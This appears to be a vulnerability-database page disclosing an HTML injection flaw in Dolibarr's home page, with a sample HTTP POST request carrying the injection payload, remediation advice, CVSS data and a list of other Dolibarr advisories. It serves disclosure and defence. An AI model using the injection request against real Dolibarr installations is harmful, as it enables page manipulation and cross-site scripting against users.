Sign in
Deutsch English Español Polski
High

Dolibarr Application Home Page has HTML injection vulnerability

  • Disclosed: 18.04.2024
  • Updated: 11.10.2026 10:22

Summary

Observed a HTML Injection vulnerbaility in the Home page of Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS).

Details

  1. Navigate to the login page of Dolibarr application.
  2. Submit a login request with the following payload in an arbitrarily supplied body parameter: "u70ea%22%3e%3c!--HTML_Injection_By_Sai"=1

HTTP Post Request: POST /dolibarr/index.php?mainmenu=home HTTP/1.1 Host: 192.168.37.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.37.129/dolibarr/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 375 Origin: http://192.168.37.129 Connection: close Cookie: <Redacted> Upgrade-Insecure-Requests: 1

token=697c1f303ef1976a713eda01d20d8eab&actionlogin=login&loginfunction=loginfunction&backtopage=&tz=5.5&tz_string=Asia%2FKolkata&dst_observed=0&dst_first=&dst_second=&screenwidth=1280&screenheight=587&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=admin&password=manikanta&u70ea%22%3e%3c!--HTML_Injection_By_Sai=1

  1. Upon successful injection of the payload, some part of Home page HTML code was commented out.

POC Kindly go through the below video for detailed steps:

https://user-images.githubusercontent.com/26869643/294010332-ff88d80b-cb26-4870-82d3-fb49f7ecc32f.mp4

Remediation Suggestion Kindly validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks. Implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package dolibarr/dolibarr >= 18.0.4, < 18.0.7 18.0.7

References

CVSS score 7.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Weakness (CWE)
CWE-79, CWE-80
Platform
Composer
Package
dolibarr/dolibarr
Disclosed
18.04.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7947-48q7-cp5m - CC BY 4.0

Vulnerability history: dolibarr/dolibarr

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (126) in the archive
Total entries
126
First → latest
11.2019 06.2026
Without a fix
49
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 38
  • Medium 56
  • Low 5

Disclosures per year

Severity:
  1. Dolibarr ERP CRM contains a remote code evaluation vulnerability
    Critical · 9.8 CVE-2018-25357 >= 7.0.0, < 7.0.4, < 6.0.8 7.0.4, 6.0.8
  2. Dolibarr Allows Code Injection through its Website Module
    High · 8.8 CVE-2026-31018 <= 15.0.3 no fix
  3. Dolibarr user with permission to edit PHP content can bypass filtering to restrict dangerous PHP functions
    High · 8.8 CVE-2026-31019 <= 22.0.4 no fix
  4. Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration
    Critical · 9.1 CVE-2026-23500 <= 22.0.4 no fix
  5. Dolibarr has SQL injection vulnerability in the rowid parameter of the admin dict.php
    High · 8.2 CVE-2019-25710 <= 8.0.4 no fix
  6. Dolibarr vulnerable to RCE via the computed field parameter
    High · 8.8 CVE-2025-56588 < 21.0.3 21.0.3
  7. Dolibarr has Remote Code Execution Vulnerability (Bypass)
    High · 8.8 ghsa-49xw-hw94-fmv2 <= 21.0.2 no fix
  8. Dolibarr ERP CRM vulnerable to remote code execution (RCE)
    High · 5.5 CVE-2024-40137 < 19.0.2 19.0.2
  9. Dolibarr arbitrary file upload vulnerability
    High · 8.8 CVE-2024-37821 < 19.0.2 19.0.2
  10. Dolibarr vulnerable to SQL Injection
    Critical · 9.1 CVE-2024-5315 <= 9.0.1 no fix
  11. Dolibarr vulnerable to SQL Injection
    Critical · 9.1 CVE-2024-5314 <= 9.0.1 no fix
  12. Dolibarr Application Home Page has HTML injection vulnerability this entry
    High · 7.1 CVE-2024-23817 >= 18.0.4, < 18.0.7 18.0.7
  13. Dolibarr vulnerable to Cross-Site Request Forgery
    High · 7.5 CVE-2024-31503 <= 19.0.0 no fix
  14. Dolibarr Improper Input Validation vulnerability
    High · 7.5 CVE-2023-4197 < 18.0.2 18.0.2
  15. File Upload vulnerability in Dolibarr ERP CRM
    High · 8.8 CVE-2023-38887 < 17.0.1 17.0.1
  16. Dolibarr allows a remote privileged attacker to execute arbitrary code via a crafted command/script
    High · 7.2 CVE-2023-38886 < 17.0.1 17.0.1
  17. Cross Site Scripting vulnerability in Dolibarr ERP CRM
    Critical · 9.6 CVE-2023-38888 < 17.0.1 17.0.1
  18. Dolibarr vulnerable to unauthenticated database access
    High · 7.5 CVE-2023-33568 >= 16.0.0, < 16.0.5 16.0.5
  19. Dolibarr vulnerable to remote code execution via uppercase manipulation
    High · 8.8 CVE-2023-30253 < 17.0.1 17.0.1
  20. SQL injection in Dolibarr
    Critical · 9.8 CVE-2022-4093 >= 16.0.1, < 16.0.3 16.0.3
  21. Dolibarr vulnerable to privilege escalation
    Critical · 9.8 CVE-2022-43138 < 14.0.1 14.0.1
  22. Dolibarr vulnerable to Eval Injection
    Critical · 9.8 CVE-2022-40871 <= 15.0.3 no fix
  23. Dolibarr remote PHP code execution
    Critical · 9.8 CVE-2021-33816 >= 13.0.2, < 14.0.0 14.0.0
  24. Dolibarr authenticated Remote Code Execution
    High · 7.2 CVE-2020-35136 < 12.0.4 12.0.4
  25. Dolibarr Unrestricted Upload of File with Dangerous Type
    High · 8.8 CVE-2020-14209 < 11.0.5 11.0.5
  26. Dolibarr SQL injection vulnerability in accountancy/customer/card.php
    High · 8.8 CVE-2020-14443 < 11.0.5 11.0.5
  27. Incorrect Authorization in Dolibarr
    High · 8.8 CVE-2020-12669 < 12.0.0 12.0.0
  28. Dolibarr Cross-Site Request Forgery Vulnerability
    High · 8.8 CVE-2020-11825 <= 10.0.6 no fix
  29. Dolibarr Cross-site Scripting via the qty parameter in product/fournisseurs.php
    Critical · 9.8 CVE-2019-19212 >= 3.0, <= 10.0.3 no fix
  30. Dolibarr ERP and CRM SQLi
    High · 7.5 CVE-2019-19209 < 10.0.3 10.0.3
  31. Dolibarr Improper Restriction of Excessive Authentication Attempts
    Critical · 9.8 CVE-2020-7995 = 10.0.6 no fix
  32. Dolibarr Cross-Site Request Forgery (CSRF)
    High · 8.0 CVE-2019-15062 >= 10.0, < 10.0.2 10.0.2
  33. Dolibarr ERP and CRM malicious executable loading
    High · 8.8 CVE-2019-11200 < 9.0.3 9.0.3
  34. Dolibarr ERP and CRM Code Injection
    High · 8.0 CVE-2019-11201 < 9.0.3 9.0.3
  35. Dolibarr Cross Site Request Forgery (CSRF)
    High · 8.8 CVE-2019-1010054 = 7.0.0 no fix
  36. Dolibarr SQL Injection in doli/theme/eldy/style.css.php via the lang parameter
    Critical · 9.8 CVE-2017-7886 = 4.0.4 no fix
  37. Dolibarr ERP and CRM Insecure Encryption
    Critical · 9.8 CVE-2017-7888 <= 4.0.4 no fix
  38. Dolibarr ERP and CRM SQLi
    Critical · 9.8 CVE-2017-9435 < 5.0.3 5.0.3
  39. Dolibarr ERP and CRM Unsafe File Upload Vulnerability
    High · 8.8 CVE-2017-9840 <= 5.0.3 no fix
  40. Dolibarr SQL injection vulnerability in admin/menus/edit.php
    Critical · 9.8 CVE-2017-14238 < 6.0.1 6.0.1
  41. Dolibarr SQL injection vulnerability in don/list.php
    Critical · 9.8 CVE-2017-14242 < 6.0.1 6.0.1
  42. Dolibarr ERP and CRM Sensitive Data Disclosure
    High · 7.5 CVE-2017-14240 < 6.0.1 6.0.1
  43. Dolibarr SQL injection vulnerability in comm/multiprix.php
    Critical · 9.8 CVE-2017-17897 < 6.0.5 6.0.5
  44. Dolibarr SQL injection vulnerability in fourn/index.php
    Critical · 9.8 CVE-2017-17900 < 6.0.5 6.0.5
  45. Dolibarr SQL injection vulnerability in adherents/subscription/info.php
    Critical · 9.8 CVE-2017-17899 < 6.0.5 6.0.5
  46. Dolibarr sensitive information disclosure
    High · 7.5 CVE-2017-17898 < 6.0.5 6.0.5
  47. Dolibarr SQL injection via type parameter in product/stats/card.php
    High · 8.8 CVE-2017-9839 < 5.0.4 5.0.4
  48. Dolibarr SQL injection vulnerability
    High · 8.8 CVE-2017-18260 <= 7.0.0 no fix
  49. Dolibarr SQL injection vulnerability
    Critical · 9.8 CVE-2018-10094 < 7.0.2 7.0.2
  50. Dolibarr SQL injection vulnerability in product/card.php
    Critical · 9.8 CVE-2018-13448 >= 7.0.3, < 7.0.4 7.0.4
  51. Dolibarr SQL injection vulnerability in product/card.php
    Critical · 9.8 CVE-2018-13447 >= 7.0.3, < 7.0.4 7.0.4
  52. Dolibarr SQL injection vulnerability in product/card.php
    Critical · 9.8 CVE-2018-13450 >= 7.0.3, < 7.0.4 7.0.4
  53. Dolibarr SQL injection vulnerability in product/card.php
    Critical · 9.8 CVE-2018-13449 >= 7.0.3, < 7.0.4 7.0.4
  54. Dolibarr error-based SQL injection vulnerability in product/card.php
    High · 8.8 CVE-2018-19994 < 8.0.4 8.0.4
  55. Dolibarr SQL injection vulnerability in user/card.php
    High · 8.8 CVE-2018-19998 < 8.0.4 8.0.4
  56. Dolibarr SQL injection via the integer parameters qty and value_unit
    Critical · 9.8 CVE-2018-16809 >= 3.8, <= 7.0.0 no fix
  57. Dolibarr arbitrary commands execution
    High · 8.0 CVE-2018-10092 < 7.0.2 7.0.2
  58. Dolibarr SQL Injection vulnerability
    Critical · 9.8 CVE-2018-9019 < 7.0.2 7.0.2
  59. SQL Injection in Dolibarr
    High · 8.8 CVE-2021-36625 < 14.0.0 14.0.0
  60. Access Control vulnerability in Dolibarr
    High · 7.5 CVE-2021-37517 < 14.0.1 14.0.1
Show more (5) Showing 60 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Privacy policy

Free to subscribe. Unsubscribe with one click in any email.